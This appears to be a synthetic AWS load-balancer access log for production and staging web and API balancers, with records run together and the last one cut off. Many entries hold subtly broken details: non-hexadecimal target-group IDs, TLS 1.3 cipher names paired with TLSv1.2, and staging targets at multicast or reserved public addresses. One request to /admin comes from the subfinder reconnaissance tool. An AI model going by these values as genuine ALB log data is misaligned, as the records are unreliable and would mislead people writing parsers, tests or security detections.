arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d08f-31aef3f1fbbf40edab88378f" "-" "-" 1 2024-11-01T01:46:39.317512Z "forward" "-" "-" "10.0.46.75:443" "200" "-" "-" -https 2024-11-01T01:46:40.048631Z prod-api-alb 66.47.9.59:55152 10.0.216.210:443 0.079358 0.228308 0.093826 302 302 104 9113 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d090-71e326d8063743459b39cc7e" "prod-api-alb.example.com" "-" 1 2024-11-01T01:46:40.048631Z "forward" "-" "-" "10.0.216.210:443" "302" "-" "-" -https 2024-11-01T01:46:41.346640Z prod-web-alb 96.124.254.8:48472 10.0.49.149:443 0.028707 0.209381 0.055472 200 200 501 7027 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d091-1a506e0cd17f408c94f71846" "prod-web-alb.example.com" "-" 4 2024-11-01T01:46:41.346640Z "forward" "-" "-" "10.0.49.149:443" "200" "-" "-" -http 2024-11-01T01:46:42.628936Z staging-alb 105.94.124.153:62620 246.9.135.7:443 0.094713 0.486500 0.115336 404 404 332 7667 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d092-acea2f188e4a4137a49fc64a" "staging-alb.example.com" "-" 7 2024-11-01T01:46:42.628936Z "forward" "-" "-" "246.9.135.7:443" "404" "-" "-" -http 2024-11-01T01:46:43.490584Z staging-alb 130.219.226.211:14781 227.16.177.137:8080 0.086224 0.248585 0.080788 404 404 945 6511 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d093-15f0302ebb864c4691c660e3" "-" "-" 7 2024-11-01T01:46:43.490584Z "forward" "-" "-" "227.16.177.137:8080" "404" "-" "-" -https 2024-11-01T01:46:44.241323Z prod-api-alb 241.168.219.46:38956 10.0.201.253:443 0.020775 0.159861 0.025282 301 301 260 12980 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d094-3bf7d8f3a624489abbcfafc9" "prod-api-alb.example.com" "-" 3 2024-11-01T01:46:44.241323Z "forward" "-" "-" "10.0.201.253:443" "301" "-" "-" -https 2024-11-01T01:46:45.695116Z prod-web-alb 9.116.185.125:20142 10.0.217.195:443 0.093829 0.452671 0.078740 301 301 843 4973 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d095-8e3b2e197c874387a68926c3" "prod-web-alb.example.com" "-" 0 2024-11-01T01:46:45.695116Z "forward" "-" "-" "10.0.217.195:443" "301" "-" "-" -https 2024-11-01T01:46:46.474178Z prod-web-alb 79.145.130.37:64430 10.0.9.71:443 0.096729 0.366252 0.059524 301 301 76 7981 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d096-52f0b96eef5641c18ea61267" "prod-web-alb.example.com" "-" 1 2024-11-01T01:46:46.474178Z "forward" "-" "-" "10.0.9.71:443" "301" "-" "-" -https 2024-11-01T01:46:47.003654Z staging-alb 50.154.150.120:48139 180.88.243.208:80 0.125838 0.081863 0.142969 404 404 989 7595 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d097-5cefa808ed8c4f62b2bd4662" "staging-alb.example.com" "-" 7 2024-11-01T01:46:47.003654Z "forward" "-" "-" "180.88.243.208:80" "404" "-" "-" -https 2024-11-01T01:46:47.623654Z prod-web-alb 48.92.38.234:17533 10.0.208.218:443 0.045877 0.436622 0.039390 200 200 167 2230 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d097-64c770e531a14ff9b211e6ea" "prod-web-alb.example.com" "-" 8 2024-11-01T01:46:47.623654Z "forward" "-" "-" "10.0.208.218:443" "200" "-" "-" -https 2024-11-01T01:46:48.095739Z prod-web-alb 230.87.132.185:60022 10.0.74.4:443 0.001433 0.494820 0.027147 301 301 398 537 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d098-5fb13f20d23b4a3c8bcea0e3" "prod-web-alb.example.com" "-" 2 2024-11-01T01:46:48.095739Z "forward" "-" "-" "10.0.74.4:443" "301" "-" "-" -https 2024-11-01T01:46:48.750598Z prod-api-alb 253.227.190.229:59447 10.0.152.136:443 0.008317 0.265487 0.012045 200 200 842 2176 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d098-e41706edfc4e419c879554ec" "prod-api-alb.example.com" "-" 4 2024-11-01T01:46:48.750598Z "forward" "-" "-" "10.0.152.136:443" "200" "-" "-" -https 2024-11-01T01:46:49.514967Z prod-web-alb 47.40.161.158:33128 10.0.63.227:443 0.007050 0.236661 0.082494 200 200 957 11792 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d099-dfe0766d8e454c15b724e1fa" "prod-web-alb.example.com" "-" 8 2024-11-01T01:46:49.514967Z "forward" "-" "-" "10.0.63.227:443" "200" "-" "-" -https 2024-11-01T01:46:51.059627Z prod-api-alb 247.166.218.106:31672 10.0.27.46:443 0.086041 0.392171 0.005060 200 200 998 2619 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d09b-9601cf10a2cf420e88eec028" "prod-api-alb.example.com" "-" 4 2024-11-01T01:46:51.059627Z "forward" "-" "-" "10.0.27.46:443" "200" "-" "-" -https 2024-11-01T01:46:51.754682Z staging-alb 107.111.36.65:36757 224.137.221.141:8080 0.086485 0.223666 0.015456 200 200 400 9159 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d09b-a43f1767518f4d28beb2e57b" "staging-alb.example.com" "-" 8 2024-11-01T01:46:51.754682Z "forward" "-" "-" "224.137.221.141:8080" "200" "-" "-" -https 2024-11-01T01:46:53.563707Z prod-web-alb 16.39.5.119:27327 10.0.226.242:443 0.059657 0.245676 0.091162 302 302 427 5877 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d09d-1d8b4b10d62b465ca4be3234" "prod-web-alb.example.com" "-" 3 2024-11-01T01:46:53.563707Z "forward" "-" "-" "10.0.226.242:443" "302" "-" "-" -https 2024-11-01T01:46:55.051503Z prod-web-alb 192.105.85.250:44329 10.0.82.10:443 0.027204 0.077329 0.072492 301 301 218 1657 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d09f-f48fcd704a2f40039d5fa765" "prod-web-alb.example.com" "-" 4 2024-11-01T01:46:55.051503Z "forward" "-" "-" "10.0.82.10:443" "301" "-" "-" -https 2024-11-01T01:46:56.806923Z prod-web-alb 186.247.106.70:25377 10.0.215.206:443 0.088287 0.074626 0.030524 200 200 187 465 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0a0-9842cca24409499c83084aa7" "prod-web-alb.example.com" "-" 2 2024-11-01T01:46:56.806923Z "forward" "-" "-" "10.0.215.206:443" "200" "-" "-" -https 2024-11-01T01:46:57.120456Z prod-web-alb 35.107.201.51:54662 10.0.52.104:443 0.043798 0.102799 0.059675 200 200 238 6609 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0a1-849173afbfa240a6a6af4721" "prod-web-alb.example.com" "-" 7 2024-11-01T01:46:57.120456Z "forward" "-" "-" "10.0.52.104:443" "200" "-" "-" -http 2024-11-01T01:46:57.965504Z staging-alb 152.142.37.216:51252 33.136.70.240:8080 0.077912 0.562141 0.060314 200 200 70 13303 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0a1-63b9f023b7c24e74a69fbb31" "staging-alb.example.com" "-" 9 2024-11-01T01:46:57.965504Z "forward" "-" "-" "33.136.70.240:8080" "200" "-" "-" -https 2024-11-01T01:46:58.218182Z prod-web-alb 26.243.200.195:39682 10.0.64.187:443 0.014652 0.114683 0.091644 200 200 104 3266 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0a2-e2bdc74272d74c689b16fc54" "prod-web-alb.example.com" "-" 2 2024-11-01T01:46:58.218182Z "forward" "-" "-" "10.0.64.187:443" "200" "-" "-" -https 2024-11-01T01:46:59.219735Z staging-alb 172.55.213.253:23524 64.187.80.59:80 0.058440 0.748355 0.045826 301 301 872 8163 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0a3-a7e6cdeb6baf42b4a985cb23" "staging-alb.example.com" "-" 7 2024-11-01T01:46:59.219735Z "forward" "-" "-" "64.187.80.59:80" "301" "-" "-" -https 2024-11-01T01:47:00.685259Z prod-api-alb 171.52.24.218:21346 10.0.32.27:443 0.095743 0.212658 0.020700 302 302 964 5565 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0a4-8ca2365c62004cd08ec4820e" "prod-api-alb.example.com" "-" 5 2024-11-01T01:47:00.685259Z "forward" "-" "-" "10.0.32.27:443" "302" "-" "-" -https 2024-11-01T01:47:01.126631Z staging-alb 93.236.18.80:41307 38.100.151.199:443 0.066749 0.318313 0.056626 200 200 238 10397 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0a5-e85524fcdcca417d9291d7ff" "staging-alb.example.com" "-" 5 2024-11-01T01:47:01.126631Z "forward" "-" "-" "38.100.151.199:443" "200" "-" "-" -https 2024-11-01T01:47:03.102257Z prod-api-alb 91.194.236.168:46045 10.0.113.69:443 0.085484 0.392146 0.030667 301 301 70 3904 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0a7-d4992105eca94090bb50ad6e" "prod-api-alb.example.com" "-" 1 2024-11-01T01:47:03.102257Z "forward" "-" "-" "10.0.113.69:443" "301" "-" "-" -https 2024-11-01T01:47:03.972056Z prod-web-alb 224.210.210.23:36244 10.0.133.129:443 0.081549 0.430828 0.001575 302 302 388 11624 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0a7-eb986734b5cf42b48117b5ec" "prod-web-alb.example.com" "-" 5 2024-11-01T01:47:03.972056Z "forward" "-" "-" "10.0.133.129:443" "302" "-" "-" -https 2024-11-01T01:47:04.916214Z prod-web-alb 104.70.66.210:13891 10.0.212.53:443 0.020038 0.402362 0.076730 200 200 785 13889 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0a8-324797b4942c4ebab238e3d4" "prod-web-alb.example.com" "-" 5 2024-11-01T01:47:04.916214Z "forward" "-" "-" "10.0.212.53:443" "200" "-" "-" -https 2024-11-01T01:47:05.187717Z staging-alb 76.102.19.244:41208 102.20.248.153:443 0.053580 0.265238 0.059966 301 301 344 9870 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0a9-72721a92b3394e008f154889" "staging-alb.example.com" "-" 6 2024-11-01T01:47:05.187717Z "forward" "-" "-" "102.20.248.153:443" "301" "-" "-" -https 2024-11-01T01:47:06.314426Z prod-web-alb 2.51.231.195:13244 10.0.172.69:443 0.005878 0.210629 0.049472 200 200 639 9553 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0aa-8b40bc84d6854659bf6da755" "-" "-" 4 2024-11-01T01:47:06.314426Z "forward" "-" "-" "10.0.172.69:443" "200" "-" "-" -http 2024-11-01T01:47:07.565199Z staging-alb 230.6.35.14:39116 136.169.228.98:443 0.013005 0.208850 0.085622 200 200 392 14375 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0ab-19f7981cc2224d7990851baf" "staging-alb.example.com" "-" 8 2024-11-01T01:47:07.565199Z "forward" "-" "-" "136.169.228.98:443" "200" "-" "-" -http 2024-11-01T01:47:08.072816Z staging-alb 45.81.180.100:53907 33.87.174.139:443 0.077119 0.391089 0.094156 200 200 424 1996 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0ac-ef886b6df5d140e18eccc7be" "staging-alb.example.com" "-" 10 2024-11-01T01:47:08.072816Z "forward" "-" "-" "33.87.174.139:443" "200" "-" "-" -https 2024-11-01T01:47:09.811900Z prod-web-alb 193.193.97.94:18967 10.0.4.91:443 0.001771 0.014687 0.061748 200 200 737 7630 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0ad-dcb91e8799fa47a48eca6591" "prod-web-alb.example.com" "-" 9 2024-11-01T01:47:09.811900Z "forward" "-" "-" "10.0.4.91:443" "200" "-" "-" -https 2024-11-01T01:47:10.250291Z prod-web-alb 107.159.63.118:60160 10.0.27.134:443 0.017204 0.223629 0.061614 200 200 780 5697 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0ae-9e7083e23a6a466aa6ebb0aa" "prod-web-alb.example.com" "-" 0 2024-11-01T01:47:10.250291Z "forward" "-" "-" "10.0.27.134:443" "200" "-" "-" -https 2024-11-01T01:47:12.146286Z staging-alb 118.252.251.174:29119 246.142.227.6:80 0.059966 0.331944 0.029031 200 200 27 7032 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0b0-aeb24fc91e7c446395a0dffb" "staging-alb.example.com" "-" 1 2024-11-01T01:47:12.146286Z "forward" "-" "-" "246.142.227.6:80" "200" "-" "-" -https 2024-11-01T01:47:13.762021Z prod-api-alb 61.251.96.217:22595 10.0.103.144:443 0.013490 0.400993 0.074617 404 404 825 11758 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0b1-abd8fa0bab4d4f32a2913ddf" "prod-api-alb.example.com" "-" 7 2024-11-01T01:47:13.762021Z "forward" "-" "-" "10.0.103.144:443" "404" "-" "-" -http 2024-11-01T01:47:14.805112Z staging-alb 67.39.152.80:27440 16.1.123.152:443 0.137659 0.207420 0.095146 200 200 776 4293 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0b2-ae2e7fb95cd44905a09f498b" "staging-alb.example.com" "-" 9 2024-11-01T01:47:14.805112Z "forward" "-" "-" "16.1.123.152:443" "200" "-" "-" -https 2024-11-01T01:47:15.229252Z prod-web-alb 77.196.180.187:26417 10.0.87.84:443 0.008692 0.298354 0.075526 200 200 480 13592 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0b3-033175556245428f9e98eab8" "prod-web-alb.example.com" "-" 3 2024-11-01T01:47:15.229252Z "forward" "-" "-" "10.0.87.84:443" "200" "-" "-" -https 2024-11-01T01:47:16.465645Z prod-web-alb 179.200.201.93:27604 10.0.108.129:443 0.013951 0.067133 0.034478 404 404 648 4069 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0b4-6dee4509daca4b96818317b9" "prod-web-alb.example.com" "-" 4 2024-11-01T01:47:16.465645Z "forward" "-" "-" "10.0.108.129:443" "404" "-" "-" -https 2024-11-01T01:47:16.694867Z staging-alb 109.99.160.113:52510 216.23.254.110:80 0.087022 0.264200 0.067543 301 301 399 372 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0b4-b646aff98a084f159a49fee0" "-" "-" 4 2024-11-01T01:47:16.694867Z "forward" "-" "-" "216.23.254.110:80" "301" "-" "-" -https 2024-11-01T01:47:18.210247Z staging-alb 52.30.235.52:47644 180.104.89.106:443 0.003858 0.369513 0.059068 301 301 799 4184 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0b6-4965452aab9d4fc9a5298ac0" "staging-alb.example.com" "-" 6 2024-11-01T01:47:18.210247Z "forward" "-" "-" "180.104.89.106:443" "301" "-" "-" -https 2024-11-01T01:47:20.059820Z prod-api-alb 185.181.6.37:14405 10.0.61.86:443 0.034875 0.083165 0.050154 301 301 560 12443 "POST /admin HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0b8-d55c0d54f243401388246039" "-" "-" 10 2024-11-01T01:47:20.059820Z "forward" "-" "-" "10.0.61.86:443" "301" "-" "-" -https 2024-11-01T01:47:21.373025Z prod-web-alb 154.204.237.253:44830 10.0.71.29:443 0.095367 0.227073 0.012869 404 404 5 319 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0b9-ad6b547fad6049aea39a08b2" "prod-web-alb.example.com" "-" 10 2024-11-01T01:47:21.373025Z "forward" "-" "-" "10.0.71.29:443" "404" "-" "-" -https 2024-11-01T01:47:21.568357Z prod-api-alb 217.61.119.127:21278 10.0.122.138:443 0.078464 0.147394 0.067145 404 404 7 3890 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0b9-236e6509684e471998bfb56f" "prod-api-alb.example.com" "-" 3 2024-11-01T01:47:21.568357Z "forward" "-" "-" "10.0.122.138:443" "404" "-" "-" -https 2024-11-01T01:47:23.190034Z staging-alb 137.107.97.19:47350 245.82.171.48:8080 0.032459 0.176018 0.100966 200 200 758 1795 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0bb-823df8f488004159814f3f59" "staging-alb.example.com" "-" 8 2024-11-01T01:47:23.190034Z "forward" "-" "-" "245.82.171.48:8080" "200" "-" "-" -http 2024-11-01T01:47:24.121767Z staging-alb 194.2.203.241:32604 237.254.204.49:443 0.054182 0.532915 0.068945 301 301 577 2894 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0bc-268086754c504b65b06d7650" "staging-alb.example.com" "-" 7 2024-11-01T01:47:24.121767Z "forward" "-" "-" "237.254.204.49:443" "301" "-" "-" -https 2024-11-01T01:47:24.691917Z prod-web-alb 181.210.41.55:14065 10.0.103.152:443 0.024084 0.286404 0.099756 200 200 567 11505 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0bc-da0d5c20746a47d7b50e8fb1" "prod-web-alb.example.com" "-" 8 2024-11-01T01:47:24.691917Z "forward" "-" "-" "10.0.103.152:443" "200" "-" "-" -https 2024-11-01T01:47:25.678529Z staging-alb 166.167.171.5:14685 104.78.156.239:80 0.019330 0.725874 0.016825 404 404 626 14045 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0bd-680578436eeb49b0b7fa3e60" "staging-alb.example.com" "-" 9 2024-11-01T01:47:25.678529Z "forward" "-" "-" "104.78.156.239:80" "404" "-" "-" -https 2024-11-01T01:47:27.260194Z prod-web-alb 250.82.66.124:50601 10.0.110.101:443 0.035688 0.209347 0.059646 404 404 460 3052 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0bf-c0fd90bd0f5e4757a90fa791" "prod-web-alb.example.com" "-" 7 2024-11-01T01:47:27.260194Z "forward" "-" "-" "10.0.110.101:443" "404" "-" "-" -https 2024-11-01T01:47:29.023720Z prod-web-alb 